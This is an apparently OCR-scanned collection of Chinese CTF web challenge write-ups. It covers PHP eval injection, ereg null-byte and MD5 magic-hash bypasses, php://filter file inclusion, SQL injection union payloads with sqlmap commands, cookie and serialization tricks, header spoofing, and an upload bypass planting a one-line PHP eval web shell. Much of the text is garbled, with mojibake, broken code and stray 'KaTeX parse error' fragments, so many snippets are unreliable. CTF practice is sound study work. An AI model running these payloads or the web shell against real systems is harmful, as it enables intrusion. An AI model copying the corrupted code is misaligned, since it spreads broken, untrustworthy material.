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9. A HhF 5

<?php

include “flag.php”;

s o ~REQUEST[hello’]; // @ T B Wi {5 B AT &R
eval@“var,dump(%);”); // eval() JRiF
show_source(FILE);

7>

show_source() X XA #AT B R =
hello=1);show_source(‘flag.php’);var_dump(
WARREN
var_dump(1);show_source(‘flag.php’);var_dump (show_source(FILE);

1081

flag In the variable !

<?php

error_reporting(0);

include “flag1.php”;

highlight_file(file);

if(isset($_GET['args’]){

$args = KaTeX parse error: Expected group after "' at position 35: ...(!preg_match("/Mw+/",

args))die(” argserror!”);eval(” var ump($arg5)§”);

7>

Bt include EX require EH], ALK PHP XHFMINBEAR—A PHP Xff
// preg_match() IEMFiXITHE H %
/M\w+$/

[RIE iy Fi
NRINTFIE A HR

$RRGRFR R

\wErBEE [a-z, A-Z, _, 08-9]
+RAR—AEE Z M\

var_dump() B R—ARENRERNEHWELR, BFBREAWEEEHE.
WK RIE, B E RN

eval ) FEMAPITIRE, RIREEE flagl.phpFHiflag,
BHABIENREAMEESRE, TEFED, F e —aEARDSRK

{BR &AW T IENRERAW, S THSMNGSSZ2R.

PHP 7E $GLOBALS[index] HAFHFMTHAEREE, HANRENZEL

$$args = $(%args)

$$ --> ABTE, ATIBHE-ANTEELRK
$name = "trans";

$trans = "You can see me";

echo $name.<br>;

echo $$name;

g
trans
You can see me
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JSPFUCK???& R&#& A CTF{*}

http:/123.206.87.240:8002/web5/
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http:/123.206.87.240:8002/webshell
BAMBEBA G EERLIRFEHE BT
H—T/EG, &KEEI], Bup BEHMEET
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HTTP Referer@headerffi—&f4y, 243 % 2% MwebfR %5 88 K iX1E R %, —M e bk Referer,

HURIR S 2 R NI T ST R, ARS8 AT DASRAG — 25 B A T 4b B2

15.web4

varp1 = ---;

var p2 = ----;

eval(unescape(p1) + unescape( %35%34%61%61%32’ + p2));
/I 54aa2

function checkSubmit() {

var a = document.getElementByld(“password”);
if(“'undefined”!=typeof a) {
if(“67d709b2b54aa2aa648cf6e87a7114f1"==a.value)
return 10;

alert(“Error”);

a.focus();

return !1;

}

}

document.getElementByld(“levelQuest”).onsubmit=checkSubmit;

B2 RINA — Bk base64 i, MEILA1E

16. MA B EE flag
http://123.206.87.240:8002/baopo/
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17 JEi— B AR

var clicks=0

$(function() {

$("#cookie")

.mousedown(function() {
$(this).width(*350px’).height(‘350px);
)

.mouseup(function() {
$(this).width(‘375px’).height(‘375px);
clicks++;

$("#clickcount").text(clicks);

if(clicks >= 1000000){

var form = $(" +

Y+

)
$(‘body’).append(form);
form.submit();

}
W
»

W22, Fclicks >= 1000000 MIIAT FHHIIRATRE,
BMEE post F7T

1813 —A) i

<?php

Spoc = “aftststetriit’;

KaTeX parse error: Expected 'EOF', got '#' at position 18: ...c_1 = explode("#", poc);
Il explode(separator,string,limit) B E3E 775 5 3T ROV A

$poc_2 = poc [0].0cL[1-poc [2].poc_1[3]. poc [4].POC_1[5];

poc (-GET['s])

7>

bool assert ( mixed $assertion [, Throwable $exception | )

/| Fassertion A FFF &, Nlassertiontd =4 X4 Mphp AL,
17, Heval()EA

XA BUAZIR 2L EINE, ERIEALSM https://www.leavesongs.com/PENETRATION/php-filter-magic.html php th#MYL
php://filter php://input // ROISIRIFtHARXIERM, WrRLME? 2 // WIEFFIL, HEEHRA Read <?php class Read{ public
$file; } $a = new Read(); $a->file = "fla9.php"; $a = serialize($a); print_r($a); 2> <?php class Read{//f1a9.php
public $file; public function _ toString(){ if(isset($this->file)){ echo file get contents($this->file); }
return " toString was called!™; } } ?> <?php $user = $ GET["user"]; $file = $ GET["file"]; $pass =
$_GET["pass"]; if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){ echo "hello admin!<br>";
if(preg _match("/f1a9/",$file)){ exit(); }else{ include($file); //class.php $pass = unserialize($pass); echo

$pass; } }else{ echo "you are not admin ! "; } 2>


http://120.24.86.145:8010/?s=print_r%2528scandir%2528'%20rel=

h;ﬁEIIgEE*i:}eSr{éggode $)GET[ id']);  // EURLAEHS

xxxxxxxxxxxxxxxxx x}'
1f (1sset§ T[ uname ) and 1ssef($ POST[ 'passwd'])) {
uname —— OST[ passwd 1)
r1n passwd can not Be uname.
else if éshal ($_GET[' uname 1) ==="shal($_POST['passwd'])
&($_GET['id' ]== margln
ale( Flag .$flag
else

print ‘'sorry!’;

}
Zﬁ;ﬁ itk JRLAET %60%61%7 2467 H60%6e

E HX%\%%%, win FIT AT, FiBlkalif k)G &K B —/ flagh 3L
T, AR AR R B AR

E E. o

%AH‘JE conf.bin X, .bin AT —THEER, LEEEE
%E BRI AR, BRE SRIA KR S S MR, Flag{ % H

A~ T —"2"TLTE Routerpassview



var net = require('net’);
flag-'fake flag
var server = net, createServer(
function(socket)
soc et on% data a) => {
a. toStrlng() replace(/[\n\r]*$/, "3
= true;

arr data. toStrlng(g split(' ');
arr = arr. maghNum er

if (arr.length !'=5)"" // arrkKE N5
ok = false,

arrl = arr.slice(@); // WMEUNFHIIPIA 7R/

arrl.sort();

for 2var 120; i<4; 1++E /] BB F]jﬁ%? HASCIIAY
127)1f arri[i+l] =="arr1 || arr[i arrl[i+1] >
ok = false,
arr2 = [];

for (var 1=0; i<4; i++)
arr Bush(arrl[l] + arrl[i+l]);

for (var i=0; i<4; i++)

val = val *’ex108 + arr2[i]; // Ox100 = 256
if (val != @x23332333)

ok = false,

if (o %

socket.write(flag+'\n');
else

socket. write('nope\n');

//socket write('Echo server\r\n'
//socket. p1pe(§ocket) )3

&6ST '90.0.0.0"
PORT = 8082
server.listen(PORT, HOST);

XBEAREMHB netcat M nc, XKk T HZEH



$conten -trl%(fl e §et contents($flag));
1f($shi an==$conten
echo' flag{xxx}"';

else{
echo'Oh.no’;

?

e rr xtr ct refix) 1

7 %%ﬁ?%%g%\wh ‘
gglgix )kgé — f%iz i %% ﬁFﬁEE}%%¢1*/\flagﬁ£
A

//

2%
1van&f1ag %ﬁﬁgzﬁj;ontents($f1ag)¥§}y

%g?lsi {$f1a ) == 0)
fiag);’ 2=

Wiﬁ?ﬁ%} g'%r?)%l’ﬁﬁQ GIF%D%%?JBIE > 0; WMRMF

AR ERRRLS. 1 e o

if(eregi("hackerDl" GET[ id
egho gnc(>t allowed ? [1d1)) {
exit();

GET[id = urldecode($ GET[1d]),
1¥(ﬁ ET[id] == "hac er J ") {
o Access granted!"”
echo "flag";

2>
%¥§:ﬁrhg(str1ng pattern, string string, array [regs]); X

int_e ( tt r s ring $string [, array &$regs]
%QEZ; @%Eﬁ hJagc;%erDEﬁJiEﬁ X url a5 B0 AT ST



<?php :

error_reportln%(e%'

$flag = 'flaéé est}’; .

)1{ (1sset($_GET[ 'username']) and isset($_GET[ 'password’'])

rint 'Your password can not your username. ';
=== md5($_GET[ 'password’

else if (md5(%_GET[ 'username’]
die('Flag: '.$flag);

else .
print 'Invalid password’;

?
KA XEE, S e e R it mes0

1f ($ GET['user‘name' — $ GETglpaSSWOr‘d'])
e
)

<?php

$flag = "flag";

if (isset ($ GET['password']) é
if (ereg ("~[a-zA-Z0-9]+%$", $ GET['password']) === FALSE
echo_ 'You password must be alphanumeric';
else if_ (strpos é% GET[ 'password'], '--') !== FALSE)
gle('Flag: " . $flag);
els

e
echo 'Invalid password’;

}
2
%g%%)lﬁﬁfiiﬁéﬁii? ? => password[]=1

er H §6 Ak < BHK IR B null,
erees “%?ﬁi?%%%%glh L g 1==fals
strposfs RS I%F ~Eee i, BREHKIHZ null, ﬁﬂi:

%00 B MWi: ereg()TILABEIT %008 W, XFERBLRESETFIENILAC =>

password=1%00- -

ssword

<?¥hp
$temp = $_GET[ 'pa rd! 15 .
p) ? die("no numeric") : NULL;

_GET|[
1S_numeric gte
if{$temp>1336)
echo $flag;

P)

W Y e BT 2 2
T i e e
password=1445%00 / password=1445

(=]



<>gla =
%f (1sset($ éEf[ name']) and isset($_GET[ 'password’']))

var dump($ _GET[ 'name']);

echo
var_dump($ GET£ gassword
var_dump(shal ET[ 'name
var_dump(shal($_GET assword 1));

if $ G [ name == $ GET[ 'password'])

echo’ 'Your Easswor can not be your name!’;

else if (shal($_GET['name']) === shal($_GET[ 'password'])

gle( Flag: '.$flag);
else
echo 'Invalid password.';

else
echo Log1n first!';

%%52 5 2 A

s a1g4 ﬁﬁﬁ@%ﬂ ¥4 3 [l false, false ===

alse



$de1@ md5£ QNKCDZO );
$md52 > md5($a)
1f$1sset $a)
KCDZO && $md51 == $md52) {
echo "flag *1"s
} else
echo "talse!l!";
else{

echo 'please input a";

PHP g“ee” ﬁ %ﬁ% BIA 1=/ == R H AT R, BT

Y N 5 = ﬂ% H Pl “ge" FF3 E ,

RNl ast el PR, W EaR L ee" FF K HE, PH
ayload

NKCD
€830400451993494058024219903391

$155964671a
0e342768416822451524974117254469

$214587387a
0e848240448830537924465865611904

$878926199a
0e545993274517709034328855841020

$1091221200a
0e940624217856561557816327384675

$1885207154a
0e509367213418206700842008763514

s1836677006a
0e481036490867661113260034900752

$1184209335a
0e072485820392773389523109082030

$1665632922a
0e731198061491163073197128363787

$1502113478a
0e861580163291561247404381396064

$532378020a
0e220463095855511507588041205815



<?php
error reportlng (90);
functiIon nooth er sa¥s _correct($temp) {

lag = '
%ong = orgga //ord() R Bl K ASCII P51
$nine =
number = 735 29954
or ($1 = $i < strlen($number), $i++) {

Bt eIl caieie < sinen

re urn "flase";

}
1f($number == $tem
ré%urn $f1ag;$ P)

temp = $ GET[ 'password’ l
echo noother_says_correc z$temp),

+/5#k#l oxdeadcode %Seéid, Hl= TN ox

<?php

$flag =

if (1sset ($ GET[ é

if ( erlgj4 ET[ 'ctf']) === FALSE)

echo ' 2% L

else if strpos GET[ tf ], '#biubiubiu') !== FALSE)

gle( Flag: ".

else

}echo 'BR4E, %@?%ﬁﬂlﬂﬂlﬁh :
?
%@ﬁﬂﬁ%ﬁ%éﬁﬂ? ? ctfl 1={#BIUBIUbiu}

<>p p
$flag =
if ( sset 2$ GET[ password' ])% é
if (ereg '~“[a-zA-Z0-9]+%$", $ GET[ 'password']) === FALSE
) { . o
} echo 'You password must be alphanumeric’;
-?1399559 Sgglen($ _GET[ 'password']) < 8 & & $ GET[ 'password
1f strEos (% GETL password ], "*-*"') l== FALSE)
lée F lag);
e

echo('*-* have not been found');

else .
echo 'Invalid password’;

?>
B e .
%%éﬂﬁ% ﬁ%ﬂsfgﬂgé‘ﬁ& => password=1e9%00* - *



<?php

error_rep ortln% 0%

$flag = es &

if ("POST" 25 véR[ REQUEST METHOD']) {

$password = $ POST password' ]

if (0@ >= preg match(" /~[[:graph:]11{12,}$/', $password))
echo 'flag’;
exit;

%hlle (TRUEE {
‘/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:1low

er:
1l (6 > preg _match_all($reg, $password, $arr))
breae,
c_

%%%A}E{T o&ff"]ﬂi gigft i PR (1 Upper: 1 A"
foreac pt

c Ere§ match( /1 E ipt.]]+/ , $password))

}

.F

[1><5: SR n =g SZfUE
f ("42 $password) echo ag

els$ echo 'Wrong password

exi

}}
2
ﬁ%oasswordﬁdﬁtﬂ%i%T? ?2 2 ®,? 22?

<?ph
hggﬁliﬁht f11e$ D E'l-

ey= EY{ }
T SRR At Qe e e
;dge( key is: '.$key);

:>1:1

gm&mﬁmﬂAmﬂ@,&\thi—

e
B ﬁ I %%ngé %, 308 M0 R A th B T LU i
/1 RRZ.

=

fe'a‘%"@"ﬁ’ﬁk“?\ %qé""é"’,‘a%’}i-’ I

BEEEXLESIN X-Forwarded-For:127.0.0.1



%gergggrfggﬂgégéiéggtps //www.google.com

oogle.com B
httD //www google.com #HEAIT :)

1mﬁmﬁmmﬁ

user:admin 1

wd:Abc123
d Abc123 Lk
iﬁgigég %&%@](ﬁttpéﬁ 7§§§%frg;buf com/articles/web/124537.

& H = MD5AE 1, HE#%AE —AMD5LLee kI &

i L .

1mport requests

import re
url = httg +//123. 206 87.240:8002/qiumingshan/"
s = requests.Session(

source = s. get(url)
expression = re. search(r'(\d+[+\-*])+(\d+)', source.text).

result = eval( expre551on)
post = {'value': result}

%_ %o S uil edsastlaon_(),O%EL'J%E§Z*%E‘JHT1§€, Wi X EHE
SE% %&1%%§§%§Eﬁu%&?iiﬁiﬁﬁii%T:E%ﬁ%i%ﬁbg¥eﬂ%ﬁ?ﬁi
% %% jzﬁgF E%ﬂﬁPﬁMn%W@ﬁ&ewM)

Eekﬁanta%am'”@



txt? 2 ? ?
<?ph
egtgact($
if ('emptyi ) {
ﬁ z$tr1m 11$ get_ contents($fn)),
1 ac ===
Echo '<p>This is flag:" ." $flag</p>";
else
echo "<p>sorry!</p>";

emptyQ ?1 LFf IR [5] TRUE
N

i,

Beolg Lacaid BRI

/\72%" ’ \ | o » \A
}E%%%ch;éga HoRtxt, acs tx%zlﬁﬁf%lagR pE: ﬁ EET

T LRE d%% riteup
° = = ﬁ
R é?ﬁf&% N il

nput

anost—§”f23g é?)L

?
<i’_¥?g§set$$_GET[ vi']) && isset($_GET['v2']) 8& isset($_GE
T['v3 ])g

$vl =" % GET['vl'];

$v2 = $ GET[ v2'1;

a1 1o B2 e hds ($v1) == md5($v2)){

1i$('stﬁzmp($v3, $f1ag))% o

}echo $flag;

}

)

mdShfHE, AT stremo(), M5ET



%#lﬁ' 11
ﬁ? BRI

=>" <1-- OK ,now you have to post the margin wha

-->
] W —
%ﬁﬁﬁ @ﬂﬂgsiﬁgﬁ%zRSSq E6fL1-|-\§5L1NGZSZ77yM57u25L2meth
% %‘ie#;ﬂﬂ, (){_-I_E@_L LSUEXR R session(), BN ERA, fla

import requests
import base64

url = 'http://123.206.87.240:8002/web6/"
req = requests session()

flag = req. ders[ 'flag']

flag = base 4.b64adecode(flag)

8
et(url). heg
TRt (flag) ©

rin
1ag = flgg decode() # Eﬁltspl %)ﬂﬁ
= e

.F
base64.b64decode (flag.split( [1]) # BERRT

rint(fla
gata = %gr in'

%gﬁgt ﬁeqrgfsgégrl da%a) content) # Wb AN T EBER/ GRSk 4L

I — R BEFRBFHNRAFREF I, RAETERRGOK, XNEEF



{%@JJZ/ — AT E
g §ggg§goa1hegfd10f148ty598whrefe01ahfe1afehba1envd1vrb
gtrsgbvaerubaufibry
Ht: index.php?line=& filename=a2V5cy50eHQ= (keys.

ﬁﬁfﬁ ?::1;’ flﬁn" 3 Jfl/é\ename%)\é%ﬁ@iﬁbasemé’;ﬁﬁ%,
y\ﬁé’%ﬁg gﬁ ngllneﬂﬁ’%ﬁ BRFEAET, —K—

<?php
error _reporting(0);
$file=base64 “décode(isset($_GET['filename'])?$ _GET['filen

X

ame']:

$1i%e;is§et( GET['line'])?intval($ _GET['line’ A%, ;
1f($file=="")"hea er("locatlon indeX.php?line=&ftilename=a
2V5cy50eHQ="

$file_list = array('e' =>'keys '1' =>"index.php',);
1f(1sset($ COOKIEf margin']) && $ C60KIE[ margin']=="marg

$¥11e _list[2]="keys.php';
1f$1n array§$f11e $f11e_115t)){

—

file

echo $fa[$ 1ne],

ﬂgﬁTEi —7T cookies, margin=margin, JFR4G K

php://filter/read=convert.base64-encode/resource=/luodi/yo
uzanvangnk/wangvi . php



123,206.87. 40 8005/post/index.php?file=show.php
E%ggu{ %Eln ex f% exﬂ?ﬁ% %1pe =php: //fllger/re
-conver base6 -enco e/resource=index.

PGh0wa+D 0 ICAgPHRpdGx1PkJ1Z2t1LWNOZ wvdG @bGU+DQogICAgDQ
08P3BocAOKC cm9 X3J1cG9ydGluZygwKTsNCglpZighJFOHRVRbZmls
Z\/Ope2VjaG8 szhI hy ZwY9114vaw5 XgucGhwP2ZpbGU9c2hvdy5waH
AiPmNsalNrIG11P BubzvaT4n030NC kk mlsZTOkXOdFVFsnZmlsZSdd
OwOKCW1mKHNOcnNOci kZmlsZSw1L14v1118fHN9cmldeIoJGZ bGUSIC
JOcCIpfHxzdHIpc3RYKCRmalWx1LCIpbnB1dCIpfHxzdHIpc3RyKCRmalx1
LCIKYXRhIik ew@KCéllYZthCJPa Bub E10weKCQ11e 10KCk7D00JfQ
OKCW1uY2x1ZGUoJGZpbGUpOYyANCi8vZmxhZ meGFneZdeNXmel ZWxp
Z19sYWNvbF9zaV9zaWhefQOKPz4NCjwvaHRtbDANCg=

BE—T

<?php
error_reporting(
if(1$ GE fllej)
">click me? no</a
f11e- GET
11e

strlstr(
o!

0
g%égo <a href="./index.php?file=show.php
ile'];

"o stristr($file, "tp")||stristr($fi
$¥11e,"data£§){ ’ P (%

include($file);
4/f ag:f ag{eduicnl elif lacol si_siht}



ﬁ—/\ﬁﬁ post 1% id B‘J I AHE, JEA @
union select 2, tabase V#

-1 union select 1 roug concat(table_name) from infor
mation_schema. tables wﬁere able schema database()#
-1" union select 1 1,2 3,group concat column name) rom info
rmation_schema. columns’ W ere 1t ﬁf%ﬂ%? atabase and t
able_name= 0x666c3467# ( l
-1' union select 1 ct ag from f14g#

sqlmap tHfEHIH Sk, tl:
q map -u %RL --data-"1d

3 INFO the back end DBMS is MySQL
ﬁ%ﬁggg MySQL >- 5.0.12

R ‘mysql

ﬂﬁ;ﬁnﬁﬁ%ﬁﬁ% --data="id=1" --dbs

ava11ab1e databases [2]:

*1 information_schema
*1 skctf_flag

BUTAER
sqlmap -u URL --data="id=1" -D skctf_flag --tables

Database: _skctf_flag
[2 tables]

T%ii{;']‘
SC

FHANRA
sqlmap -u http //123 266 87.240:8002/chengjidan/index.php

o - -dump
fb‘ e dﬁ:ﬂ s%lmap -u http://123.206.87.240:8002/ch

en Jldan index p --data="id=1 -D skctf flag --dump

Database: skctf_

Table: f14g

[1 entry]



d41d8cd9§$@8b%82e3880338ec$842;e
A%g PR BN R —xm, AWABTRES
% index.php.bak

1nc ude_once "flag.php";

ini_set{"display errors” a

$stF = strstr($ SERVER[ REQUEST URI'], '?');
$str = substr($str,1

$str = str_rep acez ey',"",$str);

parse_str(%str);
echo md5(%keyl ;
echo md5($key2

if(md5 é%key1¥ﬁxﬁ§md5(§key2) && $keyl !== $key2){

echo 1ag

ﬁ‘ rse kEk ﬂ%%% extract() ZA%, KX
MD5 E;ﬁﬁ%iﬁ%? gf KN RokeketVilds & kekeyy2[]-44
Eé% MD5Aif i

ARG AR E T Y . smmTas

var Words ="73Cscrlgt/3Ew1ndow .location.href%3D%27http%3A/
www bu ku.com%27%3B%3C/scri t%3E%20%0A%3C%21 - - ITIyITNCalWY

ﬂ% lM RfRGVUJTVCJTIBaW MJClNUQlMJklMEElNOIlM E1MDloZz
WFkZXI1IMjglMj jdMb2NhdGlvbiUz SUyMGhlevanBocCUszlkJTNEMSU
NyU 05Uz§1Uw SUwOWV4aX lMIEIM klMGIlMEElNO 1MEE1M¥RBZCUZR

U N 9HRVQ1INUI1MjdpZCU CUzQiUwQSUYNGE1MOQ1MjRTROVUITV
IBYSU% U1RCUZ 1UW8 Uy NGIlMO IMjRfROVUITVCITI Y1U¥N¥U1R
CUZ iUwQW1mITI4c3 vcyUyOCUyNGE1IMkM1IMjcuJTI3JTISJITISITB

BJTdCIT BJTASZWNob MCU 5v]TIwbm81MjBubyUyMG5vITIwbm81M
aBubg gMGSvJTIBJTN JTBBITAScmvVOdXJuJTIwWIJTNCITBBITAEIJTBBITI
ZGFOYSUyMCUzRCUyMEBmaWx1X2d1dF9jb250ZW50cyU OCU NGE1MkMI1M
jdyJTI3JITIS5JITNC] BBaWYlMﬂglM JRKYXRhJTNEJTNEJ] YnVna3U1Ma
ﬁ ¥ gMGElMJBualeJTIwch GVmb3JtJITIXITIyJTIwYWSkITIwITIOa
ﬁ MOQIMOQWITIWYWSKkITIwc3RybGVuITI4JTIQY1UyOSUZRTUIMjBhbm
BlcmVnaSU OoCU MJEXMSU M15zdW]zdHI1MjglMjRiJTIDMCUyQzE1l
jk1IMKMIMjIXMTEQ] JTISJTIwYWSkITIwc3Vic3R JTI4JTIOY1 ZA
MkMxJTI JTIXJTNEN U OSUw85U3 iUwQSUwOX3J 1cXV chlMIﬁ
GwyYTNnLnR4dCUyMiUyO Uz? WQSU3RCUWQWVsc2UIMEE1INOI1MEE MDl
wcmludCUgMCUngSldi JTIwbmV2ZXI1MjBuzZXZ1lciUyMGdpdmUlMjBlc
gUyMCUyM UyM UyMSUyM1UzQ1UwQSU3RCUwQSUwQSUwQ UzR1UzRQ/ D%3
function OutWord() {

var NewWords;

NewlWords = unescape(Words);

document.write(Newlords);

6y’swor‘g,(),;m s et ron



)0 T ERER, 19 EIINY
<%cr1pt>w1ndow .location.href="http://www.bugku.com';</scri
>
E'--JTI¥JTNCaWY1Mﬂ§1M EIMjRfROVUITVCITI3aWQ1MjclNUQLIMjk1ME
EINOIIMEEIMD1oZWFKZXI1IMjglMjdMb2NhdGlvbiUz SU MGhlevanBo
cCUzRm1kJTNEMSUyNyU OSUz 1Uw SUwONV4aX 1M1E1M Jk1IMOI1MEE1NO
1MEE1M¥ BZCUzR U NFOHRVQINUI1 ZCU CUzQiUwQSUYNGE1
1MjRTROVUITVC] I3YSU U1RCUzg1 S Uy NGIlMG 1MjRfROVUIT
CJTI Y1U¥ ¥U1RCUz iUw 1mJTI4c3 vCcy U¥0CU¥ GEIMKM1Mjcu
JTI3JTISJ I5JTBBITACIT BJTASZNNob U¥M 5vITIwbm81MjBub
UyMG5vITIwbm81MjBubyU MGSvJTI3JTN JTBBITAScmvVOdXJuJTIwITN
JTBBITAEJTBBITIBZGFOYSUyMCUzRCUyMEBmMaWx1X2d1dF9jb250ZW50c
U OCUYNGE1MkMIMjdyJTI3JTI5JTNC] BBaWYlMaglM JRKYXRhJTNEJTN
Y%YnVna3U1MgBﬁ ¥ gMGElMJBualeJTIwch GVmb3JtITIXITIYJT
IwYWSKkITIwITI ﬁ MOQ1MOQWITIWYWS5KkITIwc3RybGVUuITI4JTIQY1Uy
0SUzRTU1MjBhbmQl BlcmVnaSU OCUyMjExMSUyM15zdW]zdHI1Mjg1M]
RlJTJDMCUy zE1l k MKM1M3jIXMTEOQ] I JTIS5JTIwYWS5kJTIwc3Vic3R
JTI4JTI@Y1 9 MkMxJTI JTIXJTNEN U¥OSUWSSU381UW SUwOX3J1c
chlMiﬁ MNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUWQWVsc2Ul
MEEINOI1MEE MDlwcmludCUXMCU¥Mm51di yITIwbmV2ZXI1MjBuzXZ1lci
gﬂGg SmgéMJBlcCUyMCUyM UyMSUyMSUyM1UzQiUwQSU3RCUWQSUwQSUw
zRiUzRQ==-->

%22%3Bif%28%21%24 GET%5B%271id%277%5D%29%0A%7B%0A%09%headers2
8%27Location’%3A%20hello.php%3Fid%3D1%27%29%3B%0A%09exit%28
%29%3B%0OA%7D%0A%241d%3D%24 GET%5B%271id%27%5D%3B%0A%24a%3D%
24 GET%5B%27a%27%5D%3B%0A%24b%3D%24 GET%5B%27b%27%5D%3B%0A
1f7%28stripos%28%24a%2C%27 .%27%29%29%0A%7B%0OA%09ech0%20%27n
0%20n07%20Nn07%20Nn07%20n0%20n0%20n07%27%3B%0A%09return’s207%3Bj%0A
%7D%0A%24data’%20%3D%20@file get_contents’%287%24a%2C%27r%27%
29%3B%0A11%28%24data’%3D%3D%s2 2bugku’s20is%20a%20nice%s20plate
form%21%22%20and’%20%241d%3D%3D0%20and%20strlen’28%24b/29%3
E5%20and’%20eregi’28%22111%22 . substris28%24b%2C0%2C1%29%2C%2
21114%22%29%20and%20substr%28%24b%2C0%2C1%29%21%3D4%29%0A%
7B%OA%09require%28%22f412a3g. txt%22%29%3B%0A%7D%0Ae1se%0A%
7B%0OA%09 r1nt/20/22never/zenever/20never/20g1ve/20up/20/21
%21%21%22%3B%0OA%7D%0A%OA%OA%3F%3E

;if(!'$ GET['id
ﬁe T LoEatloA) ﬁello.php?id=1');
ex1t()

%1d— GET[ id'];
So-geetl bl

1f(sfr1pos($a,
echo 'no no ho no no no no';
return ;

data = f11e EEt contents($a,'r'),

1f§$data u is a nice B lateform!" and $id==0 and strl

($b$8)i§ and ereg1("111" substr($b,0,1),"1114") and substr
reauire("f412a3g txt");

else

prlnt 'never never never give up !!!

§§%§ﬁ; require(f412a3g.txt) Eﬁf&%?%?ﬁi/\jtFF° flagit B EfE



PQ”O —/l\ resusl.php X, HHEEF— 'F "’ _GET['
== passwor
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B84 1@, B login BN, &M flag.php, HERXANXH
E% Eﬁ%ﬁsz&ﬁP,m@ﬁadmm#,zmﬁmﬁ
ug‘ﬁgx ﬁ BREIH, RKikpost hint?, ®EKH
g 13¢ é,get hint=1, BEEMERGT? ? ERAEL2R, RER

error reportlngie),
include once aE g
$cookie = ['I ecer'],
if(isset($_ GET[ hint'
show_source(__FILE_);

elseif unser1a112e($cook1e) === "$KEY")
echo "$flag";

e%se {

<htm1>

<head>

<meta http-equiv="Content-Type" content="text/html; char
set=UTF-8">

<t1t1e>Log1n</t1t1e> .
< 1nk rel="stylesheet"” href="admin.css" type="text/css">
<é ea >
od
<br>

<div class="container" align="center">
<form method="POST" action="#">
. 7p><1nput name="user" type-"text" placeholder="Username
></p>
<B><1nput name="password" type="password"” placeholder="
Password"></p>
<p><input value— Login" type="button"/></p>
</form>
</div>
</body>
</htm >

<?php
}

$KEY— ISecer:www.isecer.com';

%% ecer |-a KEY BRI FH4, J&TH & ILLE I 2 B $KEYER
i ﬁ'ﬁaf% A B T

$cook1e = ser1a112e("$key“),
prlnt r($cookie);

% e A Sk Fwi LB S5, I URLE
RL% N%3B

cook1e ISecer=s:0:""%3B



error_reporting(0);
functlon getIp(){

1f(1ssett$ SERVERL HTTP_X_FORWARDED FOR'])){
p $_SERVER[ 'RTTP_X_FORWARDED FOR' |;

$1p el $_SERVER[ 'REMOTE_ADDR'];

ip_arr = explode( , 'y $ip);
return $ip_arr[o

$host= "1oca1host"'
$user=""

%db-""‘

connect = m¥sq1_connect($host, $user, $pass) or die("Unab
e to connect");

mysql select_db($db) or die("Unable to select database");

ﬁ getIp ), ,
o your is :

1-"1nsert into c11en{ _ip (ip) values ('$ip')";
mvsql auerv($sal):

.’

MNEE—MEAE, EHK and 1=1 BFKEHHEIEE T, ZHIEZH

2 %%%3%%5 EEAwWRRARRES T, RERIEphp i
Wi 2 ST S b 4s

Content-Tvpe: Multipart/form-data + .php5 ???

}i¥§fbtULXﬁﬁE2; php://filter/read=convert.base64-encode/res

ource=inde
o> NAIVE! ﬁ?ﬁ%ﬁiﬂﬂ upload.php => X E4%

I . .
“_“,F:%%l% £ phpicdpg BINEEGD gif, MERAALE file

<scr1p_t anﬁj%gﬁeb%hfj sg% ﬁgﬁﬁ)g{scrlpb

index. ph thlS 1s th3 _Fl14g 154f65sd4g35f4d

ﬁj%?’_ tqéfﬁ L6 yploadiblio o o S R ?

<script languaee php>eval($ POSTI'A'1)</script>



fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=

<?ph
Fihchion epprppsftgatessien <

$1en = strlen($data3
klen = strlen($k
or ($1i=0; $i < $1en, $i++) {

{f ($xe?= $klen) {

3

gc‘ar .= $key[$x % $klen];
$x += 1;

$1 6._$chr($gﬁgz$datag$1l&e+ ord har[? 1)) % 128),

$c
$s r .—%Z%g oh ASCII y[$i % $klen]) % 128)

return base64_encode($str);
?>

import hashlib
import base64

key = hashlib.md5("ISCC" encodeﬁ utf-8' %i .hexdi estSi
%Esg 64 = fR4aHquFCYYVdeRqu hhCKBse deygr xIWJ1UYFho
bage_64 = base64.b64decode(base_64)

data"len = len(base 64)

str_ =
for i 1n range(len(base_64)):
éﬂ chr% base_64[iT-ord(key[i%len(key)]))%128) # X

Drlnt(str )

%%% ﬁ%%i%ﬁ%ﬁhp’ %1 @Ifg}ﬁaﬁ AEESGE, &ZRAE T

lag, flag.php bﬂ)\ﬁzﬁﬂ PLJE Bt 6

FE‘J@%’EE&&#F =T, EREER
oad. php

<?php
include 'common.php’;

%mf R el

jg = FILES[ image' ][ 'type']; // EAESCHRIRR
_if(lis_uploaded file($fn)) { // Hl¥rda e B2 %2 E T



HTTP POST LAZHJ.
}fatal( uploaded f11e corrupted );

ay = array('image/pn
1 array(¥$t R p
al

arr
if(! iarrax i
atalT"Sorry, only PNG files are allowed.");

f t
$imagekey = create_image key();
move_uploaded_file($fn, "uploads/$imagekey.png");

>header("Location: ?op=show&imagekey=$imagekey");
?>
show.php

<?php
include 'common.php’;

if(empty GET[ "ima eke
éadgr (focatgon Xo])) {
ex1t()

$imagekey = $_GET[ 'imageke
$im g logd _image( 1mag§key¥ 15

$w = imagesx($im);

$h = ima esy $im

1f($w > i STZE $h > MAX_IM SIZE)
fatal("Invalla image dimensions.’

common . php

<2php . :
if(!defined('FROM_INDEX')) die();
define('MAX_IM_SIZE', 100);

function create ima e ke¥§& E
return_shal($ SERV T ADDR ] .

3 $_SERVER[ 'HTTP_USER
AGENT'] . time() . mt_rand

function load 1ma§e $1mage yl
if(1 !== pre§ match('/[0-9a-t]{40}/', $imagekey)) {
fatal( Invalid 1mage g
// imagekey=9f6703af622 96dc1a4d01b889587f1ee3fc88d7

= 1ma%ecreatefrompng( 'uploads/{$imagekey}.png");
tal()Falled to load image.');

atiinn ¢ime.

}
$im
1?(
}



I CSLuUul 11 Pl

§tream_wrapper_unregister ("zip");
?>

H¥salmapKIpostiE AR E I

EIS20188 = hi AN FE N b 1 :
http://httpd.apache.org/docs/current/howto/ssi.html
h}tps:4[www.owasp.org/1ndex.php/Server-Slde_Includes_(SSI)
njection
ﬁttgs://blog.csdn.net/wutianxu123/article/details/82724637
httﬁs://www.secpulse.com/arch1ves/66934.htm1
<?php _.
class TinySSI {
ublic function parse($conten
public funct p ($content) {
$Earsgd = $connect;
/** #include **/ . )
§gagsed = pr g_replace_callback('|<!--#1nc1ude virtual="
(. ¥237(\sy*- 237
function ($matches% {
$output = file get contents("./" . $matches[1]);
return $output;
